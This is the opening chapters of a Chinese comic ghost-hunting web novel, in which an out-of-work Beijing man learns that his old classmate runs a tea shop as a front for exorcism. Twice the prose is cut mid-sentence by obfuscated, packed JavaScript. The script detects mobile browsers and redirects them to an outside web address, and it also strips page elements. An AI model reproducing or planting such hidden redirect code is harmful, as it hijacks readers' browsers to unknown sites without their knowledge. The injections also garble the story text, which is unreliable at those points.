《魔阿八部》 1. 【1】捉鬼敢死队 “恭喜你成为天选倒霉蛋!欢迎加入猎魔降妖大军和哥们儿一起升级打怪斩妖除魔!” 霍尔潘突然从噩梦中惊醒,四周是墨汁一般浓稠的黑暗。窗外没有一丝月光,身处灯红酒绿的城市之中,竟然没有一丝灯光。 抹了把额头上冷汗,他坐起身努力镇定心神,突然听见从衣柜的方向传来吱吱嘎嘎的声响。 他以为自己出现了幻听,再仔细一听,那确实是柜门开启的声音,而且是被人蹑手蹑脚轻轻推开的声音,在一片死寂的黑暗中这声音恐怖的令人毛骨悚然! 霍尔潘只觉得浑身的寒毛都竖了起来! 窗户没有开,没有风自然不可能吹开柜门,难道他的房间里有人?! 是小偷?这更不可能,十几层的高楼,除非那是个蜘蛛侠! 想到白天发生的事,他又开始头皮发麻,战战兢兢的摸过床头的手机打开屏幕,借着微弱的亮光朝衣柜的位置照了过去。 不过手机屏幕的光实在是太弱了,再加上心理恐惧,这一晃并没有看到什么东西,反倒是原本吱嘎吱嘎的声音被这么一照竟然停了,好像衣柜门突然静止了一样,不动了。 本来这恐怖的声音消失那是一件值得高兴的事,可霍尔潘非但没有松口气,反而觉得更加恐怖! 这声音突然停止那说明什么?说明那让柜门发出声音的东西发现自己醒了,立马就停止了自己的动静! 这他娘的到底是什么? 恐惧和好奇不断折磨着他的神经,最后好奇心终于占据了上风,他调亮手机屏幕深吸一口气再次朝柜门的方向照了过去。 这一照,他就看见从半掩的柜门后面竟然探出一张青灰色的怪脸! 那张脸的样子实在是太怪了,没有五官只有几个黑洞,脸上的皮肤堆满了褶子,就像是一个完全脱水干枯的老太婆! 霍尔潘的脑子嗡的一下就炸了! 他想要大叫出声,却发现自己的喉咙被什么东西紧紧的钳住完全发不出声音。 他想要伸手去抓,可这才发现连手也被什么东西给缠住了。 他看到从那张怪脸的黑洞中长出无数的头发紧紧缠绕在自己的脖子和手上,那头发湿漉漉黏糊糊的,还伴着一股腥臭,除了恐惧,他还感觉无比的恶心。 他想到床头那把瑞士军刀,那是睡觉前剪完脚趾甲顺手塞到枕头下面的,他暗自庆幸自己有先见之明,此时此刻竟然还能找到一件武器。霍尔潘竭力伸手去够枕下的军刀,幸亏那头发捆的不是太紧,他终于抓到军刀胡乱拨弄一番也不知打开了哪几个工具对着那头发就是一通乱砍乱戳,合该他运气爆棚竟然打开了折刀将那头发砍断,喉咙一被释放就大口大口的喘气。他刚想喊救命又一道头发如闪电一般朝他射了过来,霍尔潘一个打滚翻身下床连忙按下墙上的开关,房间顿时大亮把周围的一切都照得清清楚楚,他看见那张怪脸竟然是从柜门上的镜子里长出来的!它的眼鼻口中不断有鲜血流出,侵染了所有的头发,之前那湿漉黏糊的感觉也正因此,霍尔潘抬起自己的手,上面全是血,他闻到腥臭的味道,忍不住干呕起来。 更多的头发从怪脸的嘴巴里涌了出来,霍尔潘知道自己再不行动就死定了,他急中生智将瑞士军刀如甩飞镖一样朝那怪脸的嘴巴甩了过去,竟然一下子就射中它的嘴巴,只见那怪脸扭曲着发出犹如电波刺耳的尖叫,然后所有长出来的头发都像是电影倒放一样缩了回去,消失在镜子中不见了。 霍尔潘看着被刀砸碎的镜子,碎片中映射出自己扭曲变形的脸,恍惚之间他觉得刚才只是一场梦,似乎什么都没有发生,可就这么几分钟的时间内又似乎什么都改变了,他心中坚信的东西好像一瞬间就瓦解了。 身为一个反对封建迷信的无神论者,回想白天所经历的事情,他真是悔的肠子都青了。 …… 白天的气温很高,即使到了晚饭时分一股股的热浪还是迎面而来。霍尔潘站在熙攘的人群中狠狠吸了口烟,低声咒骂了句,便将烟头扔到地上踩灭,一头扎进了人头攒动的街巷。 今天的烟袋斜街和往常有点儿不太一样,虽然自己有大半年没来过了,可怎么说这地方人山人海的那应该是阳气正旺热火朝天啊,可也不知怎么的霍尔潘就突然打了个激灵,脖子根儿直冒冷汗。 这气氛不太对劲,他吸了吸鼻子,看着身边窜流不息的人群,突然有种诡异的感觉,觉得这些个大活人那都不是真的,自己就像是隔着层玻璃看着他们,两拨人压根儿就不是一个世界的! 难不成这青天白日的自己做起了白日梦吗?越想越不对劲,霍尔潘脚底一滑打了个趔趄,再一抬头,眼前竟然莫名其妙的就出现了一家店铺。 嗨!不就一铺子嘛!他刚想松口气,突然从那扇古旧破烂的半掩木门后面吹出来一阵阴风,直直的扑向他的面门!这一吹不要紧,霍尔潘只觉得原本有些恍惚的精神一下子就清醒了,直勾勾朝木门后面望去,就见屋里是黑咕隆咚的一片啥也看不真切,只隐隐约约见到有一处烛火在堂内游曳,整个一鬼宅,让他一阵阵的头皮发麻。 怪了,既然开了门为什么不点灯做生意呢?霍尔潘不由得又打了个激灵,扬起脖子张望,见招牌木匾上提苍劲有力“聊茗斋”三个毛笔大字,敢情这还是个卖茶叶的? 这条商业街上有不少茶叶店,可哪家也没有这家如此的古怪诡异!将氛围营造的如此恐怖,难道是为了吸引路人的猎奇心? 又转头看了看来去匆匆的行人,根本就没人对这家茶铺驻足,好像除了自己压根就没有其他人见到这间铺子一样。 要说霍尔潘这人胆子不算小,关键是他好奇心还特别重,眼见面前出现一如此诡异的茶叶铺,也不管到底是怎么回事,好歹进去看个究竟,顺便也给自己那好茶的老爹捎点回去,于是推开门直接迈开大步跨过门槛,进了这间鬼气森森的老铺子。 时下正当八月中,北京可以说是伏日正中天,就算是晚上那也如九个太阳在云里藏着一样,能把人焖熟了。 霍尔潘怕热,这在外面奔波劳苦了一整天早就出了一身汗,可一进到店里,他就感觉浑身上下原本张开的汗毛孔全都闭合了,一股阴冷之气直直的钻入他的身体。 “好家伙!这TM不会真是一鬼宅吧?霍爷我在闹市遇上鬼打墙啦?” 越想越不对劲儿,为什么这家晚上不亮灯,为什么没有一个人进来?难道说除了自己谁也没有看到这家店?难道说这根本就是一阴间的鬼宅!这么倒霉让他给撞上啦! “吱~嘎~”只听一声毛骨悚然的硬物摩擦声,伴着空旷的脚步,那团鬼火向霍尔潘飘了过来。霍尔潘大叫一声,扑通一下就跪倒在地。 “哎呦妈呀!好汉饶命!霍尔潘不知好歹!今日多有冒犯硬闯了鬼爷爷的地盘!我上有八十老母供奉,下有三岁婴孩待哺,请各路神明念我一片孝心放小人一条活路吧!” 霍尔潘一口气说完差点没呛到,胳膊举过头顶不断搓手膜拜。等最后一个字落之后,霎时间四周静得可怕,似乎连门外熙攘人群的嘈杂声都消失得无影无踪,霍尔潘更是吓得连尿都快憋不住了,紧闭双眼不敢抬头,就等着命丧鬼爪了。 噗嗤! 霍尔潘听到头顶传来一声明显是憋不住的笑,虽然不大,却清晰的很。可他还是不敢睁眼,哆哆嗦嗦的跪在原地。妈呀这还得了?鬼在你头上笑呢!那笑得多狰狞可怕?只怕是下一刻就张大嘴把自己生吞活剥了! “行啦!别跪了!你这怂包!还不快看你鬼爷爷我是谁?” 霍尔潘一听这王八羔子竟然敢嘲笑他?还说的是人话,士可杀不可辱啊,他霍爷也是个响当当的汉子,怎么可能被个鬼看扁!心里一怒,当下也不怕了,站起来抬头挺胸猛地一睁眼。 “我去!你TM怎么也被鬼抓来了?” 霍尔潘这下比见了鬼还惊讶,眼前的不是什么鬼爷爷,倒是一鬼孙子,他的大学同学,还是一烧香拜黄纸的兄弟兼损友——封鬼! “谁被鬼抓来了?我是这儿的老板!”封鬼咧着嘴冲霍尔潘直笑,那张脸在他手中忽明忽暗的烛光映照下显得尤其瘆人,不过此时霍尔潘既然见了鬼爷的真面目而且又是个大熟人,已经毫无先前的惧色,咋舌诧异道: “啊?这,这鬼店TM是你开的?” “都毕业好几年了你怎么嘴巴还这么臭啊?来让鬼爷我给你洗洗,然后带我去见见咱外甥!爷一定给封个大红包!” 封鬼一边揶揄一边往墙角的柜台走去,霍尔潘脸一红,忙跟了上去。刚才那可真是丢人丢到家了,什么大老爷们的面子都没了。 “哎呦,我,我刚才那不是给吓傻了胡说嘛!谁TM叫你不开灯的?把这搞得鬼气森森的!” “之前的老板把电给断了,还没来及去缴费。反正我这还没开张,先省着吧,这里是商业用电,比民用贵不少呢。” “我说你这死抠的性子咋一点没变啊!真不愧是奸商的料,以后有你算计的。” 封鬼嘿嘿一笑,也没接茬,霍尔潘继续问道: “我说你什么时候来北京的啊?也不跟兄弟我知会一声,太他妈不够意思了!” “刚来没多久,这店也是新开的,什么都没安顿好,就没联系你。走着?后海就在前面,鬼爷带你搓一顿去!” “这才几点?你不做生意啦?” “反正还没正式营业,根本没生意,也不差这一时半刻的。” “那成,不过你可不能小家子气啊,别想几块臭豆腐就把我打发了,得请兄弟顿好的,老子真TM差点让你给吓尿了!” “成成!都听你的,走着吧。” 封鬼将烛台放下,从柜子上取了本书塞到包里。霍尔潘瞄了眼那书又旧又厚,因为灯光不济也看不真切。锁了门,两人一路胡侃八聊就到了什刹海跟前,霍尔潘一见封鬼领自己到的那个古色古香的馆子,乐了。 嘿!原来是庆云楼!霍尔潘心道这哥们儿够意思,领他来京城八大楼之一的庆云楼来吃鲁菜啊,忙欢天喜地的跟着走了进去。 也许时间还没到,饭馆里面人不多,两人找了处靠窗的幽静地儿,点了几个特色菜,便聊了起了霍尔潘今儿个面试的事儿。 原来霍尔潘不满意毕业后父母给找的安稳工作,就他那爆脾气根本受不了办公室的养老生活,憋屈两三年终于辞了职,窝在家里时间一长就被爸妈唠叨,搞得生日都没得过,出来面个试还吃了小保安的亏,有气没处撒只好瞎溜达,没想到在这里碰到了封鬼。 “那你下一步打算怎么办?”封鬼给霍尔潘满上酒,十分关切的询问。 “嗨!你也知道我妈最想让我当老师,毕业那会儿不还逼着我去考教师资格证!可爷死活不干,TM好歹霍爷我也是京城一霸!跺一跺脚天安门的石狮子也要抖三抖。老子三岁那年就当着警卫的面儿在皇城根儿底下撒了泡童子尿,做TM哪门子的穷酸教书匠!怎么说我也是干大买卖的人。” 霍尔潘犯了老毛病开始说大话,封鬼瞟了他一眼道: “嗯,亏了你有自知之明,我替祖国和人民谢谢你。要是你当老师,那祖国未来的花朵可全葬送在你手里了。” 封鬼说得一脸严肃认真,霍尔潘差点没一巴掌拍上去。 “不说我了,扫兴!你呢?我说你到底做啥买卖的?” 霍尔潘掏了根烟给封鬼点上,自己也叼了一根,跟听故事一样期待的盯着他。封鬼吸了口烟缓缓吐出,眯着双泛精光的狐狸眼懒洋洋道: “当然是卖茶叶啊。” “嗯,我猜也是。”霍尔潘点了点头,一点也不意外。之前已经看了招牌,猜了八九不离十。 再说封鬼以前跟自己提过,他祖上是江苏的茶贩子,爷爷又是个茶商,靠着洞庭碧螺春发了家。 既然是茗茶世家,封鬼要是真做了生意人,那自然也是子承父业倒腾茶叶。这要是在北京旅游区开一茶叶铺子那肯定是大有赚头。 “那你缺人不?要不你给兄弟个机会,让我也过过生意人的瘾。” 霍尔潘脑门一热,脱口而出。他本来就是想做生意的,无奈一来父母反对,二来自己没有门路,这下倒碰上了,要是哥们儿真做了个能赚钱的买卖,自己何不也分一杯羹呢? “我倒还真是缺人,不过就怕这行你没啥经验做不了。再说你爸妈能同意吗?” 霍尔潘一听这话有门,不过提到父母他又懊恼起来。皱眉低头冥思半天,最后一拍桌子,怒道: “操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391821|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !老子打从毕业到现在就没一天不憋屈的!这种日子再待下去不死也残了。我TM已经想通了,爷实在不是安分守己的料。只要不违法,只要能赚大钱,不管你干啥兄弟我都跟着你混了!至于爸妈那边我自己去搞定,这天下还没有能扭过孩子的父母!” “骨气!得,就冲霍爷您这句话,兄弟收你了!不过你可想好了,我这买卖虽然能挣大钱,可不是份甜差事,比不得你之前坐办公室舒坦安逸,那得吃苦耐劳,打得是持久战!你确定你能扛得住?” “靠!爷生来皮糙肉厚!乐得就是干体力活。不过话说回来,你这卖茶的能干啥体力活?不会真要我跟你回老家种茶叶去吧?” 霍尔潘急得直搓手撸袖,这要真是下地当农夫,那他可不干。封鬼吐了口烟,从包里掏出那本又旧又厚的牛皮书推到二胖面前。 “你先看看这本书吧。” “对不起先生,这里禁止吸烟。” 这时候服务员正好上了盘糖醋里脊,二人一听怏怏把烟掐灭。霍尔潘也不嫌烫直接夹了块塞嘴里没嚼两下就往肚里吞,又灌了口啤酒,便拿起那本书翻看了起来。 “这什么鬼书啊?连个书名都没有!” 霍尔潘打开那黄旧的牛皮纸书,随意翻了翻,里面是些稀奇古怪的插画和笔记,好像是一本随笔手抄。 “这TM画的都是怪物啊!长的这么恶心,都啥玩意啊?” 霍尔潘以为这书是记载了中国博大精深的茶文化的,好歹是跟茶有关吧?可看了没两下就纳闷了,而且越看越古怪。只见那书里画了不少长相邪恶的妖魔鬼怪,正奇怪呢,突然又翻到了前面一页,与后面不同没有画只有字,上面标题写着“魔阿八部”四字。 “什么魔阿八部啊?老子只听过天龙八部。我说你这里头都是啥玩意儿啊?” “少废话,你接着往下看啊。”封鬼催着霍尔潘往下看,跟瞧好戏一样盯着他那不断变化的丰富表情。霍尔潘啧了啧嘴,硬着头皮往下看,只见那书上用黑色墨水写道: 一部魔众,二部修罗,三部大鹏,四部龙众,五部妖仙,六部精怪,七部尸魅,八部鬼众。 一部魔众,释魔罗,为十法界最恶,行邪道而无一善者。凡人妖、精怪、鬼仙、神佛修渡邪佞者皆可成之。魔众最恶者为魔帝,一眼为赤,通地狱,血染而成。统领群魔,气势强盛,六道四圣无敌手。 二部修罗,为弑神,极度凶残丑陋之徒,非人非鬼非神,手持日月戟,凶恶善斗,嗜血好杀戮,多手多足,好惹事端,为人心中邪恶滋生之源。 三部大鹏,金翅鸟,人面鹰喙鸟身,乃凤凰孔雀之母,为众鸟之王。以毒龙为食,命终之时毒发自焚,涅槃重生。能观十方世界,知五道众生,因贪婪成性,魔众修罗以龙诱之收招为己用。 四部龙众,吞云吐雾,操控八方之水,被凡人奉为天神。善化人形,因好大喜功,贪恋权位,承天子龙命为阳界帝王统治一方,食人间烟火俸禄,肆意翻云覆雨,兴风作浪,酿洪涝天灾。 五部妖仙,生灵集天地造化日月精华修炼而成,可幻化人形,或迷惑凡人,或扰乱众生,隐于闹事吸人生气元阳为生。 六部精怪,动植物因天机地缘造化而生灵智者,不能成人形,又或半人半兽,盘踞于荒野深山之中,以生人和牲畜血肉为食。 七部尸魅,人死体僵而成尸,集天地怨晦之气,不老不死不灭,被三界摒弃于六道轮回之外,无魂无魄之活死人。道家有太阴炼形成仙之法,人死后葬于养尸地,数百年邪气俯身尸体如生,借人生气而成僵尸。妖化后为旱魃,善于道法,能杀龙吞云,所到之处赤地千里大旱成灾。 八部鬼众,人所归为鬼,凡天地万物造化而成死后皆为鬼,身死心灭,唯魂魄化为亡灵归于幽冥。厉鬼恶鬼为人害,于阳间作梗。罗刹与夜叉为恶鬼之首,生啖活人,以人血肉为食。鬼善迷人心窍,与阿修罗勾结,使人生贪嗔痴慢疑五毒四心,沦为人魔。 看到这里就没有后文了,后面画着一些妖魔鬼怪,再往后就是空白页,看着那些奇形怪状的妖怪和文字介绍,霍尔潘倒是津津有味意犹未尽。 此时菜已经全都上齐,霍尔潘那吃货因为太投入竟然都没有闻到饭菜香,抬头见封鬼在那大吃特吃,自己也赶紧动了筷子。 “看完了?”封鬼问他。 霍尔潘点了点头: “看是看完了,上面画的怪物还挺有意思,就是不明白你给我看这个跟你的买卖有什么关系?你是卖茶的,又不是写恐怖小说的,难不成你这要一边喝茶一边搞文学创作?霍爷我要是真刀实枪的干那绝没二话,可你要是让我提起笔杆吟诗作对我绝对不是那块料!你也知道我最受不了文人那股子酸气,要是写书,趁早让兄弟我走人,我还回我的办公室喝我的茶算我的帐,总比让我舞文弄墨的酸死好。” 霍尔潘一边嚼一边说,那速度是一点儿也不含糊。封鬼嫌他那粗鲁的吃相丢人,皱眉道: “我说你哪来这么多口水?请你吃个饭还给我废话。我让你看这书就是要你相信这书上的妖怪都是真实存在的,并非杜撰。其实我经营茶铺不过是打个幌子,实际上我的买卖是有人出大价钱请我开坛做法,我就去帮人消灭这些害人的魔阿八部。” “等,等会儿,你说啥?什么开坛做法?消灭八部?你确定你是在说人话?” 霍尔潘一口没咽下去,喷了封鬼一脸的渣滓。封鬼嫌弃的抹了把脸,努力忍着没骂出来。 “啧,就说告诉你你也不相信!这么着,你先回去说服你爸妈,然后到我店里报道。等我接了第一笔生意就带着你去开开眼。” “你别把我带沟里去了!你先把话说明白,你到底是干嘛的?” 都到这份儿上了,再吊人胃口那可就不厚道了,霍尔潘非要问个清楚,封鬼想了想也没辙,拍了下桌子道: “成,我告诉你,你可仔细听好了。看风水卜八卦测生辰这是副业,主业是降妖除魔驱鬼。封爷我这名字不是白起的,命里那就是封鬼除魔的大爷!这么说你懂了没?” “没有。” “对猪弹琴。” “靠!那你具体点儿,你就说你这职业叫什么!” “捉鬼大师。” 2. 【2】活见鬼 封鬼严肃认真的将这三个铿锵有力的大字儿一甩出来,对面的霍尔潘是彻底的喷了出来。 “噗!捉鬼大师?!你林正英片子看多了吧!以为自己天师钟馗呢!” 霍尔潘扯着嗓门喊了出来,饭馆里其他人立马投来犀利的注目礼。封鬼嫌丢人挡着半张脸低声道: “我说你这二胖毕业这么多年怎么一点儿都变啊?还这么大嗓门啊!” “靠!”没想到霍尔潘听了这话一口就骂了出来。 “我擦!你怎么又提这名字!叫了四年还没叫够呢啊?!再TM这么叫小心霍爷我翻脸!” 霍尔潘显然是火了,封鬼却不吃他那一套,不怒反笑道: “你自个儿名字就叫霍二胖咋滴还不让人叫了?不乐意找你爹妈啊。” 封鬼说的理直气壮,霍尔潘,不,应该是霍二胖同志一下子就蔫儿了,再也没有之前的盛气凌人。 叫他二胖,不是因为他真的是个胖子。你瞧他人身材魁梧一米八几的大高个儿,浑身的精壮肉一点儿肥膘都没有,顶多算个壮实,跟胖压根儿扯不上关系。 说起二胖这名字的来源,那可真是比窦娥还冤,二胖活了这二十多年没少受累。 当年二胖他妈生他的时候恰逢他奶奶弥留之际,于是他爹非要自个儿老娘亲自给孙子取名字留个念想。 他奶奶是典型的农村妇女一辈子没念过啥书,更不可能取啥有文化的名字,想起村口一叫“二胖”的大黄狗,就随口说了个“二胖”然后一口气没提上来老人家就撒手人寰了。 全家人悲痛欲绝,心说这就是命啊,这是老太太留给孙子唯一的见面礼,怎么说也不能拒绝啊。 恪守孝道的二胖爹二话不说就把这名给定了,二胖妈总觉得不妥,便将“二胖”当成小名,大名灵机一动取了个谐音叫“尔潘”,从此以后“霍二胖”这狗日的狗名字跟了他二十多年,从小学的时候就被人嘲笑。 可那毕竟是奶奶起名字,也没法去改名,再加上大学宿舍那帮损友变本加厉的嘲笑,二胖一怒之下喝个大醉。 这个时候平常不熟的同班同学封鬼就突然出现了,简直是命运的邂逅。 封鬼不但没有像别人一样笑话他,还安慰他说这就是你的造化,每人有每人的命,你这名字不比我的正常多了。再说老天爷赐了你这么一个好养活的贱名,那是你奶奶在天之灵保佑你逢凶化吉平平安安日后必成大器。 这番话说得那是感人肺腑令闻者声泪俱下,二胖一激动就与封鬼烧黄纸拜了把子,还说他是个好人呐。结果事后“二胖”这诨名封鬼是一声也没少叫,还美其名曰增进兄弟感情。 回想起这二十多年的辛酸血泪史,二胖如今是只有干笑的份儿。 “算了,你爱叫叫吧,反正你的名字比我好不了多少,咱哥俩彼此彼此……” 二胖是认栽了,栽在这位“鬼爷爷”手里那就是命,怎么逃都逃不掉。 “……可你也太能忽悠人了,你以为随便一说我就能信了?还捉鬼大师!你以为名字里带个鬼字就真成神了?”二胖显然对此死活不信啊,封鬼转了转眼珠嘿嘿阴笑一声,指着二胖的身后说: “不信?好啊,你可千万别回头,现在你身后就站着一个女鬼呢!” 这话说的实在儿戏,二胖要是能信那就是个白痴。他啧了啧油花花的嘴,恨铁不成钢的叹道: “哎呀,我说小封啊!几年不见,你怎么越来越幼稚了呢?这种鬼话连三岁小孩都吓不到!你他娘的也敢拿出来唬老子?有种你就真变个鬼出来给霍爷看看!老子要是吭一声,我TM就是你孙子!” 二胖骨子里就是个话痨+大忽悠,越说越带劲,还扭着屁股在椅子上手舞足蹈。封鬼冷笑一声又看了眼他的身后,从兜里取出一块丑不拉几的黑色石头,拿在手里有一下没一下的敲着桌面,: “你身后那个女鬼是在后海里淹死的,穿着红色的裙子,披头散发浑身发青,脑袋上还插着一根水草,正盯着你后脑勺流口水呢。” 封鬼说的时候一直盯着二胖的身后,表情也从之前的嬉皮笑脸变得阴沉起来。二胖心说这小子演得可真像,简直能去当演员了,出于本能还是回头看了一眼,意料之中身后空荡荡一片,店里灯光昏暗,根本连客人都没有几个。 “你丫就消停点儿吧,少在这鬼扯淡!喝酒喝酒!” 说是这么说,可身处一个昏暗的环境之中又听了这么一个不入流的鬼故事,二胖心里未免有些发毛,表面上还是装作若无其事。 “用这石头在你眼上擦一下,然后你再回头看看。这女鬼身材不错啊,长得也漂亮,看来人家是真看上你了,小心她把你拉到水里作伴!” 封鬼把石头推到二胖面前,二胖用见到妖怪的眼神盯着封鬼,一时间不知该怎么接茬。封鬼的表情实在是太过严肃认真了,耍自己需要费这么大劲儿吗?这装得也像过头了吧!如果说他根本就不是在演戏,难道自己身后还真有个女鬼不成? 眼见封鬼没有再解释的意思,二胖又是个好奇心极重的人,管他是真是假,姑且照做,要是接下来什么都没发生,自己是被耍了,那他可绝对饶不了这小子! 深吸一口,二胖总算是下定决心拿起石头,在眼睛上抹了一下,猛然回过头去。 “哎呀我操!!” 连半秒的迟疑都没有,二胖大叫着一屁股摔倒在地,惊得服务生忙跑过来问是不是菜品出了问题,一个劲儿的在那道歉。 “没事!他这是活该,非要急着吃热豆腐,这不烫着嘴了嘛!没事没事。” 封鬼边笑边帮服务生一起把二胖扶了起来,等人家走了之后,封鬼见二胖站在一边儿,惊恐的盯着自己,那表情别提有多怂了。 行啦!瞧你那嗓门,都把人家女鬼给吓跑了!赶紧坐回去,已经没事了。” 这一回二胖可没再以为封鬼是说笑,战战兢兢的扭过头,果然没有了刚才让自己吓破胆的景象,这才虚脱一般瘫倒在椅子上,猛擦着后脖子上的冷汗,灌了口酒喘气道: “你不说是个美女嘛!啊?胖得跟个球样那也叫身材好?!你他娘的成心拿老子开涮是不是!” 二胖边骂边往嘴里灌酒,封鬼一愣,有点不可思议的瞪着他说: “你不害怕?你刚才可是看到一只女鬼哎!鬼啊!霍二胖同志!” “鬼你大爷!我说你他娘的从哪里学的鬼把戏!难不成你家是变魔术的?这是什么石头,上面涂了迷药了?” 二胖拿着石头在鼻子边闻了又闻,确定什么味儿都没闻到,才把它丢到一边,开始大口吃菜。 嘿!这他娘的还真遇上奇葩了!封鬼在心里感叹一声,拿起筷子献好般给二胖夹菜,笑得那叫一个谄媚。 “行啊!啥也不说了,霍爷就是霸气!过几天来我店里报道,兄弟带你去降妖除魔去。” “拉倒吧!你以为自己孙悟空啊!爷可不是猪八戒!少扯别的,赶紧跟我说说,这石头是不是专门变戏法用的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391822|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 封鬼没有回答,叹了口气从口袋里摸出手机看了看笑呵呵的说: “你不信拉倒,我手里正好有个上门的大买卖,后天你来我店里报道,我带你去捉鬼开开眼怎么样?” “真捉鬼啊?你又唬我!” 二胖决计不信,又问了封鬼各种问题。封鬼又跟他说了不少他之前闻所未闻的事情,听得二胖一愣一愣的。 据封鬼所说干他们捉鬼降妖除魔这一行的又分为两类,一类是“驱”一类是“猎”。 顾名思义,“驱”主要是驱除赶跑,主要达到震慑恐吓的效果;而“猎”则比较极端,会以鬼怪为猎物,对其赶尽杀绝。 降妖捉怪伏魔不是一种新兴的职业,古今中外有不少人从事此类营生,大都隐藏在正当职业的幌子之中。 明显点儿的比如说牧师、传教士、道士、和尚、巫师、术士等;而不明显的那就多了去了,上至达官显赫,下至小商小贩,从政的、经商的、搞学术的、混娱乐圈的,任何一种现有的职业都可以被降魔师拿来当经营的幌子。 比如说可能有个斯斯文文的大学教授,上一秒还在讲台上大谈唯物主义科学理论,下一秒就换下西装革领穿上道袍舞着桃木剑开始捉鬼降妖了。 二胖对此还是将信将疑,封鬼嘲笑道: “我看你是害怕吧,算了,你后天还是别来的好。” 二胖被他激将法这么一激果然上钩。 “去就去!老子就不信这世上有鬼!怕就怕你到时候什么都拿不出来,霍爷我可饶不了你!” 封鬼但笑不语,二人又喝了个大醉,就各自打道回府。 等二胖回到家之后,父母已经早早的睡下了,蹑手蹑脚的洗了个澡,困劲儿也上来了,回到房间里一头栽在床上。 也不知过了多久,二胖朦朦胧胧的就听见吱嘎吱嘎的声响,以为这是酒精的作用产生了幻觉,又或者自己身在梦中,也没在意就继续呼呼大睡。 于是他就做了噩梦,于是就出现了开头的那一幕。 等那怪脸消失在镜中之后,二胖就想到封鬼在庆云楼和自己说的那些事,后脊梁骨一阵阵的发凉,难道真是闹鬼了?那什刹海的女鬼真看上自己,跟着自己回到家里来了?! 突然一阵急促的敲门声打断他的思绪,只听见门外一个熟悉的浑厚女低音叫到: “发生什么神经呢大半夜的!丫都几点了?!再不睡老娘抽你嘴巴子!” 第二天一早二胖顶着双熊猫眼坐在餐桌上,对面坐着个一脸严肃的中年妇女,也就是半夜那个女低音的主人,二胖他娘。旁边还有个幸灾乐祸唯恐天下不乱的中年男子,二胖他爹,也就是那个决定让他叫一辈子“二胖”的男人。 二胖想了一夜,决定还是不能把见鬼的事情告诉父母,只搪塞说做了个噩梦。 一来不确定那到底是不是酒精和封鬼的鬼话所产生的幻觉,二来绝迹不能让两位彻底的无神论者嘲笑自己儿子胆小,看来这事还是得找封鬼说个明白。 下定决心之后,二胖就将与老同学合伙做生意的事同父母商量,又大谈自己的人生理想。 父母本来不同意,一听这儿子出息了,竟然有了人生抱负,那可是千金难买的财富,老两口一乐,便答应了。到了约定的时间霍二胖兴致冲冲的就来到了烟袋斜街聊茗斋。 “鬼孙贼!”二胖一进门就没忍住骂了出来。 “你他娘的跟老子说说!昨晚上那长头发镜子鬼到底是怎么回事?!” 3. 【3】聊茗斋 “什么镜子鬼?”封鬼放下抹布转身看着二胖,二胖撇了撇嘴,刚想兴师问罪就被屋子里的景象给吓了一跳: “我去!你他娘的这哪里是卖茶叶的?分明是个古董店啊!” 二胖一双贼眼在店里来回打量,这没两天原本阴暗的鬼宅已经被打理得焕然一新灯火通明。除了墙角的一个木架上摆着几盒茶叶和茶具,哪里还有正经茶叶店的摆设? 只见墙上挂满了行云流水的名家书法字画,博古架上摆满了不同朝代的瓷盘玉器,敢问这天下间哪里还有如此华而不实的茶叶店? 二胖见封鬼没有接他话茬,心想你虽然是打着卖茶的幌子,但好歹也装装样子啊。这茶叶没见有多少,倒是一屋子的字画瓷器。 虽然二胖不学无术,倒还是认得出底儿有刻印的官窑青花瓷与徐悲鸿的八骏图,不过就是高仿赝品罢了。 封鬼一见二胖那瞧不上眼的神气就知道他心里想的什么,微微一笑,指着那墙上的一排排字画缓缓道: “也不完全是赝品,有的确实是真的。这是米芾的《元日贴》,张旭的《千字文》,王羲之的《兰亭序》,颜真卿的《临川集》。还有这是唐寅的《函关雪霁图》,周昉的《簪花仕女图》,宋徽宗的《瑞鹤图》……” “等会儿!这其他的真假姑且不说,我也不清楚,可这簪花仕女图霍爷我还真见过,真迹收藏在故宫博物院呢,你在这唬谁啊?我看都是赝品,没一个真的。” “故宫那是真的,我这也是真的,有什么问题吗?” 二胖一楞,见封鬼那双狐狸眼亮得直晃眼,这龟孙子大学的时候就能言善辩,把假的说得都跟真的似的,经常把老师同学唬得团团转,到现在还是一点没变,瞧那一本正经的样子,差点没信了他的邪。 “屁!你就在这鬼扯吧,以为霍爷我真不懂啊?绝世的艺术品之所以无价,一个是因为历史价值,更重要的是它独一无二没法复制。你这就算仿得再真,那也不是周眆原来画的那个!” “这话不假,确实不是周眆原来画的那个,而是他新画的。这里所有真品都是作者后来书画的,都是真迹。” 二胖见封鬼说这连三岁小孩都不信的大话压根就不想再理他,摆了摆手嗤道: “切,又说鬼话!不听你瞎扯了,你今儿叫我来可不是鉴别字画的吧。赶紧切入正题,你这第一票买卖在哪儿呢?” 二胖见封鬼慢悠悠的端起八仙桌上的紫砂壶给他倒了杯冒着热气的茶,老气横秋的说道: “已经约好时间了,主顾一会儿就到。先喝杯茶润润你那公鸭嗓子,待会儿见了客人给我积点口德。我这可是上好的珍眉,沏的是玉泉山的泉水,盛的那是绿波菡萏翡翠碗,苍龙逐日点犀盉。” 封鬼又从老檀博古架上取了两个杯盏,二胖见那白绿相间的是翠玉,应该是他说的什么翡翠碗,另一个又黄又黑的倒看不出是什么质地。 “这杯子又是什么做的?” “这是带斑点的犀牛角杯,天然斑纹像是一条龙,所以叫苍龙逐日点犀盉。” 